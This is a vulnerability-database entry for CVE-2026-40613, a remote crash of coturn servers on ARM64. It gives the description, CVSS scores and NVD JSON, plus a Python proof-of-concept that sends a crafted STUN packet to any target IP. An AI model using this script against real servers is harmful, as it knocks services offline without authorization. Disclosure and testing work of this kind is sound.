Security Vulnerability Report
中文
CVE-2026-40613 CVSS 7.5 HIGH

CVE-2026-40613

Published: 2026-04-21 19:16:18
Last Modified: 2026-04-24 13:41:42

Description

Coturn is a free open source implementation of TURN and STUN Server. Prior to 4.10.0, the STUN/TURN attribute parsing functions in coturn perform unsafe pointer casts from uint8_t * to uint16_t * without alignment checks. When processing a crafted STUN message with odd-aligned attribute boundaries, this results in misaligned memory reads at ns_turn_msg.c. On ARM64 architectures (AArch64) with strict alignment enforcement, this causes a SIGBUS signal that immediately kills the turnserver process. An unauthenticated remote attacker can crash any ARM64 coturn deployment by sending a single crafted UDP packet. This vulnerability is fixed in 4.10.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:coturn_project:coturn:*:*:*:*:*:*:*:* - VULNERABLE
Coturn < 4.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # CVE-2026-40613 PoC: Coturn ARM64 Misaligned Access DoS # Target: Coturn < 4.10.0 on ARM64 def create_malformed_stun_packet(): # STUN Message Header: Type (0x0001 Binding Request), Length, Magic Cookie, Transaction ID msg_type = 0x0001 magic_cookie = 0x2112A442 trans_id = b'\x00' * 12 # Dummy Transaction ID # To trigger misalignment, we add a pad byte before the attribute # Normally attributes are aligned on 4-byte boundaries. # We craft the message such that the attribute parser reads from an odd address. # Attribute Header: Type (0x0001), Length attr_type = 0x0001 attr_len = 0x0000 # Construct header header = struct.pack('!HHI12s', msg_type, 0, magic_cookie, trans_id) # Construct payload with padding to force misalignment # The vulnerability occurs when reading the attribute type/length from an odd offset payload = struct.pack('!B', 0x00) # Padding byte payload += struct.pack('!HH', attr_type, attr_len) # Recalculate message length (header + padding + attribute header) msg_len = len(payload) # Rebuild header with correct length final_header = struct.pack('!HHI12s', msg_type, msg_len, magic_cookie, trans_id) return final_header + payload def send_packet(target_ip, target_port=3478): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_malformed_stun_packet() sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malformed STUN packet sent to {target_ip}:{target_port}") sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2026_40613.py <target_ip>") else: send_packet(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40613", "sourceIdentifier": "[email protected]", "published": "2026-04-21T19:16:17.743", "lastModified": "2026-04-24T13:41:41.893", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Coturn is a free open source implementation of TURN and STUN Server. Prior to 4.10.0, the STUN/TURN attribute parsing functions in coturn perform unsafe pointer casts from uint8_t * to uint16_t * without alignment checks. When processing a crafted STUN message with odd-aligned attribute boundaries, this results in misaligned memory reads at ns_turn_msg.c. On ARM64 architectures (AArch64) with strict alignment enforcement, this causes a SIGBUS signal that immediately kills the turnserver process. An unauthenticated remote attacker can crash any ARM64 coturn deployment by sending a single crafted UDP packet. This vulnerability is fixed in 4.10.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-704"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:coturn_project:coturn:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.10.0", "matchCriteriaId": "85DBA1D9-6569-4125-AA06-D066B094A1B1"}]}]}], "references": [{"url": "https://github.com/coturn/coturn/security/advisories/GHSA-j662-9wcj-mf36", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/coturn/coturn/security/advisories/GHSA-j662-9wcj-mf36", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}